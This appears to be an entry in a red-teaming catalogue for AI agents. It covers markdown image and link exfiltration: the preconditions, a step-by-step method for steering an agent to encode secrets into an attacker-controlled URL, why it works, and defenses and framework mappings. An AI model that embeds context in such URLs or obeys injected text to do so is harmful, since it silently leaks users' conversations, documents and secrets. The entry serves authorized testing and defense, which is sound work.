High
Exfiltration & DLP bypass
Markdown Image / Link Exfiltration
Zero-click data theft: the agent emits a markdown image or link whose URL encodes secret data, and the client silently fetches it to an attacker host on render.
Data Exfiltration
LLM02LLM05ASI09AML.T0024CWE-209
Tells spot it before you commit
- » The client auto-renders markdown images/links the model outputs.
- » The agent can read sensitive context (history, files, secrets) it might embed in a URL.
- » Outbound fetches on render are not restricted to allow-listed hosts.
Method
- Confirm the client auto-loads image URLs from model output.
- Have the agent place recoverable data into a URL query/path pointing at a host you control.
- Observe the out-of-band request; the request itself is the exfil channel.
Payloads templates - adapt to authorized scope
Block or sandbox model-authored image/link hosts; log any render-time egress.Why it works
Markdown rendering turns model text into a real network request with no user click. If the model can be steered (often via indirect injection) to encode context into the URL, the render silently exfiltrates it - no tool call required.
Impact
Silent exfiltration of conversation history, retrieved documents, or secrets to an attacker-controlled host, bypassing tool-level egress controls.
Defenses
- Do not auto-load remote images/links from model output; require explicit user action.
- Allow-list or proxy render-time egress; strip or neutralize model-authored URLs.
- Combine with output DLP so high-entropy/secret-shaped URL params are blocked.
Mappings
OWASP LLM
LLM02 - Sensitive Information DisclosureLLM05 - Improper Output Handling
OWASP ASI
ASI09 - Human-Agent Trust Exploitation
MITRE ATLAS
AML.T0024 - Exfiltration via AI Inference API
CWE
CWE-209 - Generation of Error Message Containing Sensitive Information